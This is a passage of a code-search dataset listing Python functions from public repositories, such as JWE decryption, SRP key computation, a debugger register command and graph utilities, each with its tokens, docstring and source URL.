... | get current polar direction in Roche (xyz) coordinates | [
"get",
"current",
"polar",
"direction",
"in",
"Roche",
"(",
"xyz",
")",
"coordinates"
] | python | train | 43.666667 |
latchset/jwcrypto | jwcrypto/jwa.py | https://github.com/latchset/jwcrypto/blob/961df898dc08f63fe3d900f2002618740bc66b4a/jwcrypto/jwa.py#L979-L994 | def decrypt(self, k, a, iv, e, t):
""" Decrypt accoriding to the selected encryption and hashing
functions.
:param k: Encryption key (optional)
:param a: Additional Authenticated Data
:param iv: Initialization Vector
:param e: Ciphertext
:param t: Authentication T... | [
"def",
"decrypt",
"(",
"self",
",",
"k",
",",
"a",
",",
"iv",
",",
"e",
",",
"t",
")",
":",
"cipher",
"=",
"Cipher",
"(",
"algorithms",
".",
"AES",
"(",
"k",
")",
",",
"modes",
".",
"GCM",
"(",
"iv",
",",
"t",
")",
",",
"backend",
"=",
"sel... | Decrypt accoriding to the selected encryption and hashing
functions.
:param k: Encryption key (optional)
:param a: Additional Authenticated Data
:param iv: Initialization Vector
:param e: Ciphertext
:param t: Authentication Tag
Returns plaintext or raises an erro... | [
"Decrypt",
"accoriding",
"to",
"the",
"selected",
"encryption",
"and",
"hashing",
"functions",
".",
":",
"param",
"k",
":",
"Encryption",
"key",
"(",
"optional",
")",
":",
"param",
"a",
":",
"Additional",
"Authenticated",
"Data",
":",
"param",
"iv",
":",
"... | python | train | 38.6875 |
fabioz/PyDev.Debugger | pydevd_attach_to_process/winappdbg/interactive.py | https://github.com/fabioz/PyDev.Debugger/blob/ed9c4307662a5593b8a7f1f3389ecd0e79b8c503/pydevd_attach_to_process/winappdbg/interactive.py#L2012-L2050 | def do_register(self, arg):
"""
[~thread] r - print(the value of all registers
[~thread] r <register> - print(the value of a register
[~thread] r <register>=<value> - change the value of a register
[~thread] register - print(the value of all registers
[~thread] register <... | [
"def",
"do_register",
"(",
"self",
",",
"arg",
")",
":",
"arg",
"=",
"arg",
".",
"strip",
"(",
")",
"if",
"not",
"arg",
":",
"self",
".",
"print_current_location",
"(",
")",
"else",
":",
"equ",
"=",
"arg",
".",
"find",
"(",
"'='",
")",
"if",
"equ... | [~thread] r - print(the value of all registers
[~thread] r <register> - print(the value of a register
[~thread] r <register>=<value> - change the value of a register
[~thread] register - print(the value of all registers
[~thread] register <register> - print(the value of a register
... | [
"[",
"~thread",
"]",
"r",
"-",
"print",
"(",
"the",
"value",
"of",
"all",
"registers",
"[",
"~thread",
"]",
"r",
"<register",
">",
"-",
"print",
"(",
"the",
"value",
"of",
"a",
"register",
"[",
"~thread",
"]",
"r",
"<register",
">",
"=",
"<value",
... | python | train | 40.666667 |
Esri/ArcREST | samples/query_agol_layer_using_ArcMap_Creds.py | https://github.com/Esri/ArcREST/blob/ab240fde2b0200f61d4a5f6df033516e53f2f416/samples/query_agol_layer_using_ArcMap_Creds.py#L43-L77 | def main(*argv):
""" main driver of program """
try:
url = str(argv[0])
arcgisSH = ArcGISTokenSecurityHandler()
if arcgisSH.valid == False:
arcpy.AddError(arcgisSH.message)
return
fl = FeatureLayer(
url=url,
securityHandler=arcgisS... | [
"def",
"main",
"(",
"*",
"argv",
")",
":",
"try",
":",
"url",
"=",
"str",
"(",
"argv",
"[",
"0",
"]",
")",
"arcgisSH",
"=",
"ArcGISTokenSecurityHandler",
"(",
")",
"if",
"arcgisSH",
".",
"valid",
"==",
"False",
":",
"arcpy",
".",
"AddError",
"(",
"... | main driver of program | [
"main",
"driver",
"of",
"program"
] | python | train | 40.514286 |
apache/spark | python/pyspark/streaming/context.py | https://github.com/apache/spark/blob/618d6bff71073c8c93501ab7392c3cc579730f0b/python/pyspark/streaming/context.py#L331-L348 | def union(self, *dstreams):
"""
Create a unified DStream from multiple DStreams of the same
type and same slide duration.
"""
if not dstreams:
raise ValueError("should have at least one DStream to union")
if len(dstreams) == 1:
return dstreams[0]
... | [
"def",
"union",
"(",
"self",
",",
"*",
"dstreams",
")",
":",
"if",
"not",
"dstreams",
":",
"raise",
"ValueError",
"(",
"\"should have at least one DStream to union\"",
")",
"if",
"len",
"(",
"dstreams",
")",
"==",
"1",
":",
"return",
"dstreams",
"[",
"0",
... | Create a unified DStream from multiple DStreams of the same
type and same slide duration. | [
"Create",
"a",
"unified",
"DStream",
"from",
"multiple",
"DStreams",
"of",
"the",
"same",
"type",
"and",
"same",
"slide",
"duration",
"."
] | python | train | 50.555556 |
tensorflow/cleverhans | cleverhans/experimental/certification/utils.py | https://github.com/tensorflow/cleverhans/blob/97488e215760547b81afc53f5e5de8ba7da5bd98/cleverhans/experimental/certification/utils.py#L22-L93 | def initialize_dual(neural_net_params_object, init_dual_file=None,
random_init_variance=0.01, init_nu=200.0):
"""Function to initialize the dual variables of the class.
Args:
neural_net_params_object: Object with the neural net weights, biases
and types
init_dual_file: Path to fil... | [
"def",
"initialize_dual",
"(",
"neural_net_params_object",
",",
"init_dual_file",
"=",
"None",
",",
"random_init_variance",
"=",
"0.01",
",",
"init_nu",
"=",
"200.0",
")",
":",
"lambda_pos",
"=",
"[",
"]",
"lambda_neg",
"=",
"[",
"]",
"lambda_quad",
"=",
"[",
... | Function to initialize the dual variables of the class.
Args:
neural_net_params_object: Object with the neural net weights, biases
and types
init_dual_file: Path to file containing dual variables, if the path
is empty, perform random initialization
Expects numpy dictionary with
lambda... | [
"Function",
"to",
"initialize",
"the",
"dual",
"variables",
"of",
"the",
"class",
"."
] | python | train | 47.347222 |
nerdvegas/rez | src/rez/vendor/pygraph/classes/graph.py | https://github.com/nerdvegas/rez/blob/1d3b846d53b5b5404edfe8ddb9083f9ceec8c5e7/src/rez/vendor/pygraph/classes/graph.py#L170-L182 | def del_edge(self, edge):
"""
Remove an edge from the graph.
@type edge: tuple
@param edge: Edge.
"""
u, v = edge
self.node_neighbors[u].remove(v)
self.del_edge_labeling((u, v))
if (u != v):
self.node_neighbors[v].remove(u)
... | [
"def",
"del_edge",
"(",
"self",
",",
"edge",
")",
":",
"u",
",",
"v",
"=",
"edge",
"self",
".",
"node_neighbors",
"[",
"u",
"]",
".",
"remove",
"(",
"v",
")",
"self",
".",
"del_edge_labeling",
"(",
"(",
"u",
",",
"v",
")",
")",
"if",
"(",
"u",
... | Remove an edge from the graph.
@type edge: tuple
@param edge: Edge. | [
"Remove",
"an",
"edge",
"from",
"the",
"graph",
"."
] | python | train | 26.307692 |
eng-tools/sfsimodels | sfsimodels/models/soils.py | https://github.com/eng-tools/sfsimodels/blob/65a690ca440d61307f5a9b8478e4704f203a5925/sfsimodels/models/soils.py#L1272-L1312 | def discretize_soil_profile(sp, incs=None, target=1.0):
"""
Splits the soil profile into slices and stores as dictionary
:param sp: SoilProfile
:param incs: array_like, increments of depth to use for each layer
:param target: target depth increment size
:return: dict
"""
if incs is Non... | [
"def",
"discretize_soil_profile",
"(",
"sp",
",",
"incs",
"=",
"None",
",",
"target",
"=",
"1.0",
")",
":",
"if",
"incs",
"is",
"None",
":",
"incs",
"=",
"np",
".",
"ones",
"(",
"sp",
".",
"n_layers",
")",
"*",
"target",
"dd",
"=",
"{",
"}",
"dd"... | Splits the soil profile into slices and stores as dictionary
:param sp: SoilProfile
:param incs: array_like, increments of depth to use for each layer
:param target: target depth increment size
:return: dict | [
"Splits",
"the",
"soil",
"profile",
"into",
"slices",
"and",
"stores",
"as",
"dictionary"
] | python | train | 34.268293 |
BerkeleyAutomation/perception | perception/image.py | https://github.com/BerkeleyAutomation/perception/blob/03d9b37dd6b66896cdfe173905c9413c8c3c5df6/perception/image.py#L973-L993 | def _check_valid_data(self, data):
"""Checks that the given data is a uint8 array with one or three
channels.
Parameters
----------
data : :obj:`numpy.ndarray`
The data to check.
Raises
------
ValueError
If the data is invalid.
... | [
"def",
"_check_valid_data",
"(",
"self",
",",
"data",
")",
":",
"if",
"data",
".",
"dtype",
".",
"type",
"is",
"not",
"np",
".",
"uint8",
":",
"raise",
"ValueError",
"(",
"'Illegal data type. Color images only support uint8 arrays'",
")",
"if",
"len",
"(",
"da... | Checks that the given data is a uint8 array with one or three
channels.
Parameters
----------
data : :obj:`numpy.ndarray`
The data to check.
Raises
------
ValueError
If the data is invalid. | [
"Checks",
"that",
"the",
"given",
"data",
"is",
"a",
"uint8",
"array",
"with",
"one",
"or",
"three",
"channels",
"."
] | python | train | 29.761905 |
koalalorenzo/python-digitalocean | digitalocean/Image.py | https://github.com/koalalorenzo/python-digitalocean/blob/d0221b57856fb1e131cafecf99d826f7b07a947c/digitalocean/Image.py#L64-L78 | def get_object(cls, api_token, image_id_or_slug):
"""
Class method that will return an Image object by ID or slug.
This method is used to validate the type of the image. If it is a
number, it will be considered as an Image ID, instead if it is a
string, it will c... | [
"def",
"get_object",
"(",
"cls",
",",
"api_token",
",",
"image_id_or_slug",
")",
":",
"if",
"cls",
".",
"_is_string",
"(",
"image_id_or_slug",
")",
":",
"image",
"=",
"cls",
"(",
"token",
"=",
"api_token",
",",
"slug",
"=",
"image_id_or_slug",
")",
"image"... | Class method that will return an Image object by ID or slug.
This method is used to validate the type of the image. If it is a
number, it will be considered as an Image ID, instead if it is a
string, it will considered as slug. | [
"Class",
"method",
"that",
"will",
"return",
"an",
"Image",
"object",
"by",
"ID",
"or",
"slug",
"."
] | python | valid | 40.333333 |
Kronuz/pyScss | scss/types.py | https://github.com/Kronuz/pyScss/blob/fb32b317f6e2b4b4aad2b86a74844658ac4aa11e/scss/types.py#L1003-L1046 | def render(self, compress=False):
"""Return a rendered representation of the color. If `compress` is
true, the shortest possible representation is used; otherwise, named
colors are rendered as names and all others are rendered as hex (or
with the rgba function).
"""
if ... | [
"def",
"render",
"(",
"self",
",",
"compress",
"=",
"False",
")",
":",
"if",
"not",
"compress",
"and",
"self",
".",
"original_literal",
":",
"return",
"self",
".",
"original_literal",
"candidates",
"=",
"[",
"]",
"# TODO this assumes CSS resolution is 8-bit per ch... | Return a rendered representation of the color. If `compress` is
true, the shortest possible representation is used; otherwise, named
colors are rendered as names and all others are rendered as hex (or
with the rgba function). | [
"Return",
"a",
"rendered",
"representation",
"of",
"the",
"color",
".",
"If",
"compress",
"is",
"true",
"the",
"shortest",
"possible",
"representation",
"is",
"used",
";",
"otherwise",
"named",
"colors",
"are",
"rendered",
"as",
"names",
"and",
"all",
"others"... | python | train | 34.522727 |
cloud9ers/gurumate | environment/lib/python2.7/site-packages/IPython/parallel/controller/sqlitedb.py | https://github.com/cloud9ers/gurumate/blob/075dc74d1ee62a8c6b7a8bf2b271364f01629d1e/environment/lib/python2.7/site-packages/IPython/parallel/controller/sqlitedb.py#L333-L339 | def get_record(self, msg_id):
"""Get a specific Task Record, by msg_id."""
cursor = self._db.execute("""SELECT * FROM %s WHERE msg_id==?"""%self.table, (msg_id,))
line = cursor.fetchone()
if line is None:
raise KeyError("No such msg: %r"%msg_id)
return self._list_to_d... | [
"def",
"get_record",
"(",
"self",
",",
"msg_id",
")",
":",
"cursor",
"=",
"self",
".",
"_db",
".",
"execute",
"(",
"\"\"\"SELECT * FROM %s WHERE msg_id==?\"\"\"",
"%",
"self",
".",
"table",
",",
"(",
"msg_id",
",",
")",
")",
"line",
"=",
"cursor",
".",
"... | Get a specific Task Record, by msg_id. | [
"Get",
"a",
"specific",
"Task",
"Record",
"by",
"msg_id",
"."
] | python | test | 46.142857 |
Nekroze/partpy | examples/contacts.py | https://github.com/Nekroze/partpy/blob/dbb7d2fb285464fc43d85bc31f5af46192d301f6/examples/contacts.py#L50-L71 | def parse_contact(self):
"""Parse a top level contact expression, these consist of a name
expression a special char and an email expression.
The characters found in a name and email expression are returned.
"""
self.parse_whitespace()
name = self.parse_name() # parse a ... | [
"def",
"parse_contact",
"(",
"self",
")",
":",
"self",
".",
"parse_whitespace",
"(",
")",
"name",
"=",
"self",
".",
"parse_name",
"(",
")",
"# parse a name expression and get the string.",
"if",
"not",
"name",
":",
"# No name was found so shout it out.",
"raise",
"P... | Parse a top level contact expression, these consist of a name
expression a special char and an email expression.
The characters found in a name and email expression are returned. | [
"Parse",
"a",
"top",
"level",
"contact",
"expression",
"these",
"consist",
"of",
"a",
"name",
"expression",
"a",
"special",
"char",
"and",
"an",
"email",
"expression",
"."
] | python | train | 41 |
mpg-age-bioinformatics/AGEpy | AGEpy/kegg.py | https://github.com/mpg-age-bioinformatics/AGEpy/blob/887808a7a2c1504f39ce8d8cb36c15c1721cd29f/AGEpy/kegg.py#L83-L105 | def ensembl_to_kegg(organism,kegg_db):
"""
Looks up KEGG mappings of KEGG ids to ensembl ids
:param organism: an organisms as listed in organismsKEGG()
:param kegg_db: a matching KEGG db as reported in databasesKEGG
:returns: a Pandas dataframe of with 'KEGGid' and 'ENSid'.
"""
print("KEG... | [
"def",
"ensembl_to_kegg",
"(",
"organism",
",",
"kegg_db",
")",
":",
"print",
"(",
"\"KEGG API: http://rest.genome.jp/link/\"",
"+",
"kegg_db",
"+",
"\"/\"",
"+",
"organism",
")",
"sys",
".",
"stdout",
".",
"flush",
"(",
")",
"kegg_ens",
"=",
"urlopen",
"(",
... | Looks up KEGG mappings of KEGG ids to ensembl ids
:param organism: an organisms as listed in organismsKEGG()
:param kegg_db: a matching KEGG db as reported in databasesKEGG
:returns: a Pandas dataframe of with 'KEGGid' and 'ENSid'. | [
"Looks",
"up",
"KEGG",
"mappings",
"of",
"KEGG",
"ids",
"to",
"ensembl",
"ids"
] | python | train | 34.565217 |
tommyod/streprogen | streprogen/modeling.py | https://github.com/tommyod/streprogen/blob/21b903618e8b2d398bceb394d18d7c74ca984def/streprogen/modeling.py#L65-L91 | def generate_one(self):
"""Generate a single element.
Returns
-------
element
An element from the domain.
Examples
-------
>>> generator = RepellentGenerator(['a', 'b'])
>>> gen_item = generator.generate_one()
>>> gen_ite... | [
"def",
"generate_one",
"(",
"self",
")",
":",
"# Get the weights for all items in the domain",
"weights",
"=",
"[",
"self",
".",
"probability_func",
"(",
"self",
".",
"generated",
"[",
"element",
"]",
")",
"for",
"element",
"in",
"self",
".",
"domain",
"]",
"#... | Generate a single element.
Returns
-------
element
An element from the domain.
Examples
-------
>>> generator = RepellentGenerator(['a', 'b'])
>>> gen_item = generator.generate_one()
>>> gen_item in ['a', 'b']
True | [
"Generate",
"a",
"single",
"element",
".",
"Returns",
"-------",
"element",
"An",
"element",
"from",
"the",
"domain",
".",
"Examples",
"-------",
">>>",
"generator",
"=",
"RepellentGenerator",
"(",
"[",
"a",
"b",
"]",
")",
">>>",
"gen_item",
"=",
"generator"... | python | train | 27.037037 |
learningequality/ricecooker | ricecooker/utils/metadata_provider.py | https://github.com/learningequality/ricecooker/blob/2f0385282500cb77ef2894646c6f9ce11bd7a853/ricecooker/utils/metadata_provider.py#L255-L268 | def get_channel_info(self):
"""
Returns the first data row from Channel.csv
"""
csv_filename = get_metadata_file_path(channeldir=self.channeldir, filename=self.channelinfo)
csv_lines = _read_csv_lines(csv_filename)
dict_reader = csv.DictReader(csv_lines)
channel_c... | [
"def",
"get_channel_info",
"(",
"self",
")",
":",
"csv_filename",
"=",
"get_metadata_file_path",
"(",
"channeldir",
"=",
"self",
".",
"channeldir",
",",
"filename",
"=",
"self",
".",
"channelinfo",
")",
"csv_lines",
"=",
"_read_csv_lines",
"(",
"csv_filename",
"... | Returns the first data row from Channel.csv | [
"Returns",
"the",
"first",
"data",
"row",
"from",
"Channel",
".",
"csv"
] | python | train | 46.428571 |
mozilla/socorrolib | socorrolib/lib/task_manager.py | https://github.com/mozilla/socorrolib/blob/4ec08c6a4ee2c8a69150268afdd324f5f22b90c8/socorrolib/lib/task_manager.py#L27-L53 | def respond_to_SIGTERM(signal_number, frame, target=None):
""" these classes are instrumented to respond to a KeyboardInterrupt by
cleanly shutting down. This function, when given as a handler to for
a SIGTERM event, will make the program respond to a SIGTERM as neatly
as it responds to ^C.
This f... | [
"def",
"respond_to_SIGTERM",
"(",
"signal_number",
",",
"frame",
",",
"target",
"=",
"None",
")",
":",
"if",
"target",
":",
"target",
".",
"config",
".",
"logger",
".",
"info",
"(",
"'detected SIGTERM'",
")",
"# by setting the quit flag to true, any calls to the 'qu... | these classes are instrumented to respond to a KeyboardInterrupt by
cleanly shutting down. This function, when given as a handler to for
a SIGTERM event, will make the program respond to a SIGTERM as neatly
as it responds to ^C.
This function is used in registering a signal handler from the signal
... | [
"these",
"classes",
"are",
"instrumented",
"to",
"respond",
"to",
"a",
"KeyboardInterrupt",
"by",
"cleanly",
"shutting",
"down",
".",
"This",
"function",
"when",
"given",
"as",
"a",
"handler",
"to",
"for",
"a",
"SIGTERM",
"event",
"will",
"make",
"the",
"pro... | python | train | 48.259259 |
ondryaso/pi-rc522 | pirc522/util.py | https://github.com/ondryaso/pi-rc522/blob/9d9103e9701c105ba2348155e91f21ef338c4bd3/pirc522/util.py#L53-L67 | def deauth(self):
"""
Resets authentication info. Calls stop_crypto() if RFID is in auth state
"""
self.method = None
self.key = None
self.last_auth = None
if self.debug:
print("Changing auth key and method to None")
if self.rfid.authed:
... | [
"def",
"deauth",
"(",
"self",
")",
":",
"self",
".",
"method",
"=",
"None",
"self",
".",
"key",
"=",
"None",
"self",
".",
"last_auth",
"=",
"None",
"if",
"self",
".",
"debug",
":",
"print",
"(",
"\"Changing auth key and method to None\"",
")",
"if",
"sel... | Resets authentication info. Calls stop_crypto() if RFID is in auth state | [
"Resets",
"authentication",
"info",
".",
"Calls",
"stop_crypto",
"()",
"if",
"RFID",
"is",
"in",
"auth",
"state"
] | python | train | 27.066667 |
spyder-ide/spyder | spyder/utils/codeanalysis.py | https://github.com/spyder-ide/spyder/blob/f76836ce1b924bcc4efd3f74f2960d26a4e528e0/spyder/utils/codeanalysis.py#L96-L113 | def get_checker_executable(name):
"""Return checker executable in the form of a list of arguments
for subprocess.Popen"""
if programs.is_program_installed(name):
# Checker is properly installed
return [name]
else:
path1 = programs.python_script_exists(package=None,
... | [
"def",
"get_checker_executable",
"(",
"name",
")",
":",
"if",
"programs",
".",
"is_program_installed",
"(",
"name",
")",
":",
"# Checker is properly installed\r",
"return",
"[",
"name",
"]",
"else",
":",
"path1",
"=",
"programs",
".",
"python_script_exists",
"(",
... | Return checker executable in the form of a list of arguments
for subprocess.Popen | [
"Return",
"checker",
"executable",
"in",
"the",
"form",
"of",
"a",
"list",
"of",
"arguments",
"for",
"subprocess",
".",
"Popen"
] | python | train | 50.888889 |
idlesign/srptools | srptools/context.py | https://github.com/idlesign/srptools/blob/eb08a27137d3216e41d63bbeafbac79f43881a6a/srptools/context.py#L129-L141 | def get_client_premaster_secret(self, password_hash, server_public, client_private, common_secret):
"""S = (B - (k * g^x)) ^ (a + (u * x)) % N
:param int server_public:
:param int password_hash:
:param int client_private:
:param int common_secret:
:rtype: int
"""... | [
"def",
"get_client_premaster_secret",
"(",
"self",
",",
"password_hash",
",",
"server_public",
",",
"client_private",
",",
"common_secret",
")",
":",
"password_verifier",
"=",
"self",
".",
"get_common_password_verifier",
"(",
"password_hash",
")",
"return",
"pow",
"("... | S = (B - (k * g^x)) ^ (a + (u * x)) % N
:param int server_public:
:param int password_hash:
:param int client_private:
:param int common_secret:
:rtype: int | [
"S",
"=",
"(",
"B",
"-",
"(",
"k",
"*",
"g^x",
"))",
"^",
"(",
"a",
"+",
"(",
"u",
"*",
"x",
"))",
"%",
"N"
] | python | train | 42 |
rcsb/mmtf-python | mmtf/converters/converters.py | https://github.com/rcsb/mmtf-python/blob/899bb877ca1b32a9396803d38c5bf38a2520754e/mmtf/converters/converters.py#L34-L44 | def decode_chain_list(in_bytes):
"""Convert a list of bytes to a list of strings. Each string is of length mmtf.CHAIN_LEN
:param in_bytes: the input bytes
:return the decoded list of strings"""
tot_strings = len(in_bytes) // mmtf.utils.constants.CHAIN_LEN
out_strings = []
for i in range(tot_str... | [
"def",
"decode_chain_list",
"(",
"in_bytes",
")",
":",
"tot_strings",
"=",
"len",
"(",
"in_bytes",
")",
"//",
"mmtf",
".",
"utils",
".",
"constants",
".",
"CHAIN_LEN",
"out_strings",
"=",
"[",
"]",
"for",
"i",
"in",
"range",
"(",
"tot_strings",
")",
":",... | Convert a list of bytes to a list of strings. Each string is of length mmtf.CHAIN_LEN
:param in_bytes: the input bytes
:return the decoded list of strings | [
"Convert",
"a",
"list",
"of",
"bytes",
"to",
"a",
"list",
"of",
"strings",
".",
"Each",
"string",
"is",
"of",
"length",
"mmtf",
".",
"CHAIN_LEN"
] | python | train | 50.545455 |
mjuenema/python-TSIP | tsip/hlapi.py | https://github.com/mjuenema/python-TSIP/blob/e02b68d05772127ea493cd639b3d5f8fb73df402/tsip/hlapi.py#L136-L160 | def unpack(cls, rawpacket):
"""Instantiate `Packet` from binary string.
:param rawpacket: TSIP pkt in binary format.
:type rawpacket: String.
`rawpacket` must already have framing (DLE...DLE/ETX) removed and
byte stuffing reversed.
"""
structs_ = g... | [
"def",
"unpack",
"(",
"cls",
",",
"rawpacket",
")",
":",
"structs_",
"=",
"get_structs_for_rawpacket",
"(",
"rawpacket",
")",
"for",
"struct_",
"in",
"structs_",
":",
"try",
":",
"return",
"cls",
"(",
"*",
"struct_",
".",
"unpack",
"(",
"rawpacket",
")",
... | Instantiate `Packet` from binary string.
:param rawpacket: TSIP pkt in binary format.
:type rawpacket: String.
`rawpacket` must already have framing (DLE...DLE/ETX) removed and
byte stuffing reversed. | [
"Instantiate",
"Packet",
"from",
"binary",
"string",
"."
] | python | train | 28.52 |
klahnakoski/pyLibrary | jx_base/language.py | https://github.com/klahnakoski/pyLibrary/blob/fa2dcbc48fda8d26999baef400e9a98149e0b982/jx_base/language.py#L125-L134 | def is_op(call, op):
"""
:param call: The specific operator instance (a method call)
:param op: The the operator we are testing against
:return: isinstance(call, op), but faster
"""
try:
return call.id == op.id
except Exception as e:
return False | [
"def",
"is_op",
"(",
"call",
",",
"op",
")",
":",
"try",
":",
"return",
"call",
".",
"id",
"==",
"op",
".",
"id",
"except",
"Exception",
"as",
"e",
":",
"return",
"False"
] | :param call: The specific operator instance (a method call)
:param op: The the operator we are testing against
:return: isinstance(call, op), but faster | [
":",
"param",
"call",
":",
"The",
"specific",
"operator",
"instance",
"(",
"a",
"method",
"call",
")",
":",
"param",
"op",
":",
"The",
"the",
"operator",
"we",
"are",
"testing",
"against",
":",
"return",
":",
"isinstance",
"(",
"call",
"op",
")",
"but"... | python | train | 28.1 |
LISE-B26/pylabcontrol | build/lib/pylabcontrol/src/gui/qt_b26_load_dialog.py | https://github.com/LISE-B26/pylabcontrol/blob/67482e5157fcd1c40705e5c2cacfb93564703ed0/build/lib/pylabcontrol/src/gui/qt_b26_load_dialog.py#L247-L295 | def add_script_sequence(self):
"""
creates a script sequence based on the script iterator type selected and the selected scripts and sends it to the tree
self.tree_loaded
"""
def empty_tree(tree_model):
# COMMENT_ME
def add_children_to_list(item, somelis... | [
"def",
"add_script_sequence",
"(",
"self",
")",
":",
"def",
"empty_tree",
"(",
"tree_model",
")",
":",
"# COMMENT_ME",
"def",
"add_children_to_list",
"(",
"item",
",",
"somelist",
")",
":",
"if",
"item",
".",
"hasChildren",
"(",
")",
":",
"for",
"rownum",
... | creates a script sequence based on the script iterator type selected and the selected scripts and sends it to the tree
self.tree_loaded | [
"creates",
"a",
"script",
"sequence",
"based",
"on",
"the",
"script",
"iterator",
"type",
"selected",
"and",
"the",
"selected",
"scripts",
"and",
"sends",
"it",
"to",
"the",
"tree",
"self",
".",
"tree_loaded"
] | python | train | 44.755102 |
cni/MRS | MRS/api.py | https://github.com/cni/MRS/blob/16098b3cf4830780efd787fee9efa46513850283/MRS/api.py#L708-L727 | def est_gaba_conc(self):
"""
Estimate gaba concentration based on equation adapted from Sanacora
1999, p1045
Ref: Sanacora, G., Mason, G. F., Rothman, D. L., Behar, K. L., Hyder,
F., Petroff, O. A., ... & Krystal, J. H. (1999). Reduced cortical
$\gamma$-aminobutyric acid... | [
"def",
"est_gaba_conc",
"(",
"self",
")",
":",
"# need gaba_auc and creatine_auc",
"if",
"not",
"hasattr",
"(",
"self",
",",
"'gaba_params'",
")",
":",
"self",
".",
"fit_gaba",
"(",
")",
"# estimate [GABA] according to equation9",
"gaba_conc_est",
"=",
"self",
".",
... | Estimate gaba concentration based on equation adapted from Sanacora
1999, p1045
Ref: Sanacora, G., Mason, G. F., Rothman, D. L., Behar, K. L., Hyder,
F., Petroff, O. A., ... & Krystal, J. H. (1999). Reduced cortical
$\gamma$-aminobutyric acid levels in depressed patients determined by
... | [
"Estimate",
"gaba",
"concentration",
"based",
"on",
"equation",
"adapted",
"from",
"Sanacora",
"1999",
"p1045"
] | python | train | 37.25 |
relekang/python-semantic-release | semantic_release/ci_checks.py | https://github.com/relekang/python-semantic-release/blob/76123f410180599a19e7c48da413880185bbea20/semantic_release/ci_checks.py#L9-L27 | def checker(func: Callable) -> Callable:
"""
A decorator that will convert AssertionErrors into
CiVerificationError.
:param func: A function that will raise AssertionError
:return: The given function wrapped to raise a CiVerificationError on AssertionError
"""
def func_wrapper(*args, **kwa... | [
"def",
"checker",
"(",
"func",
":",
"Callable",
")",
"->",
"Callable",
":",
"def",
"func_wrapper",
"(",
"*",
"args",
",",
"*",
"*",
"kwargs",
")",
":",
"try",
":",
"func",
"(",
"*",
"args",
",",
"*",
"*",
"kwargs",
")",
"return",
"True",
"except",
... | A decorator that will convert AssertionErrors into
CiVerificationError.
:param func: A function that will raise AssertionError
:return: The given function wrapped to raise a CiVerificationError on AssertionError | [
"A",
"decorator",
"that",
"will",
"convert",
"AssertionErrors",
"into",
"CiVerificationError",
"."
] | python | train | 29.578947 |
sanger-pathogens/Fastaq | pyfastaq/tasks.py | https://github.com/sanger-pathogens/Fastaq/blob/2c775c846d2491678a9637daa320592e02c26c72/pyfastaq/tasks.py#L568-L577 | def sort_by_name(infile, outfile):
'''Sorts input sequence file by sort -d -k1,1, writes sorted output file.'''
seqs = {}
file_to_dict(infile, seqs)
#seqs = list(seqs.values())
#seqs.sort()
fout = utils.open_file_write(outfile)
for name in sorted(seqs):
print(seqs[name], file=fout)
... | [
"def",
"sort_by_name",
"(",
"infile",
",",
"outfile",
")",
":",
"seqs",
"=",
"{",
"}",
"file_to_dict",
"(",
"infile",
",",
"seqs",
")",
"#seqs = list(seqs.values())",
"#seqs.sort()",
"fout",
"=",
"utils",
".",
"open_file_write",
"(",
"outfile",
")",
"for",
"... | Sorts input sequence file by sort -d -k1,1, writes sorted output file. | [
"Sorts",
"input",
"sequence",
"file",
"by",
"sort",
"-",
"d",
"-",
"k1",
"1",
"writes",
"sorted",
"output",
"file",
"."
] | python | valid | 33.1 |
heuer/cablemap | cablemap.core/cablemap/core/handler.py | https://github.com/heuer/cablemap/blob/42066c8fc2972d237a2c35578e14525aaf705f38/cablemap.core/cablemap/core/handler.py#L234-L295 | def handle_cable(cable, handler, standalone=True):
"""\
Emits event from the provided `cable` to the handler.
`cable`
A cable object.
`handler`
A ICableHandler instance.
`standalone`
Indicates if a `start` and `end` event should be
issued (default: ``True``).
... | [
"def",
"handle_cable",
"(",
"cable",
",",
"handler",
",",
"standalone",
"=",
"True",
")",
":",
"def",
"datetime",
"(",
"dt",
")",
":",
"date",
",",
"time",
"=",
"dt",
".",
"split",
"(",
"u' '",
")",
"if",
"len",
"(",
"time",
")",
"==",
"5",
":",
... | \
Emits event from the provided `cable` to the handler.
`cable`
A cable object.
`handler`
A ICableHandler instance.
`standalone`
Indicates if a `start` and `end` event should be
issued (default: ``True``).
If `standalone` is set to ``False``, no ``handler.start()... | [
"\\",
"Emits",
"event",
"from",
"the",
"provided",
"cable",
"to",
"the",
"handler",
"."
] | python | train | 35.564516 |
apache/incubator-mxnet | example/svrg_module/api_usage_example/example_inference.py | https://github.com/apache/incubator-mxnet/blob/1af29e9c060a4c7d60eeaacba32afdb9a7775ba7/example/svrg_module/api_usage_example/example_inference.py#L64-L91 | def create_network(batch_size, update_freq):
"""Create a linear regression network for performing SVRG optimization.
:return: an instance of mx.io.NDArrayIter
:return: an instance of mx.mod.svrgmodule for performing SVRG optimization
"""
head = '%(asctime)-15s %(message)s'
logging.basicConfig(le... | [
"def",
"create_network",
"(",
"batch_size",
",",
"update_freq",
")",
":",
"head",
"=",
"'%(asctime)-15s %(message)s'",
"logging",
".",
"basicConfig",
"(",
"level",
"=",
"logging",
".",
"INFO",
",",
"format",
"=",
"head",
")",
"data",
"=",
"np",
".",
"random"... | Create a linear regression network for performing SVRG optimization.
:return: an instance of mx.io.NDArrayIter
:return: an instance of mx.mod.svrgmodule for performing SVRG optimization | [
"Create",
"a",
"linear",
"regression",
"network",
"for",
"performing",
"SVRG",
"optimization",
".",
":",
"return",
":",
"an",
"instance",
"of",
"mx",
".",
"io",
".",
"NDArrayIter",
":",
"return",
":",
"an",
"instance",
"of",
"mx",
".",
"mod",
".",
"svrgm... | python | train | 41.214286 |
thieman/dagobah | dagobah/core/core.py | https://github.com/thieman/dagobah/blob/e624180c2291034960302c9e0b818b65b5a7ee11/dagobah/core/core.py#L550-L579 | def _complete_task(self, task_name, **kwargs):
""" Marks this task as completed. Kwargs are stored in the run log. """
logger.debug('Job {0} marking task {1} as completed'.format(self.name, task_name))
self.run_log['tasks'][task_name] = kwargs
for node in self.downstream(task_name, sel... | [
"def",
"_complete_task",
"(",
"self",
",",
"task_name",
",",
"*",
"*",
"kwargs",
")",
":",
"logger",
".",
"debug",
"(",
"'Job {0} marking task {1} as completed'",
".",
"format",
"(",
"self",
".",
"name",
",",
"task_name",
")",
")",
"self",
".",
"run_log",
... | Marks this task as completed. Kwargs are stored in the run log. | [
"Marks",
"this",
"task",
"as",
"completed",
".",
"Kwargs",
"are",
"stored",
"in",
"the",
"run",
"log",
"."
] | python | train | 35.8 |
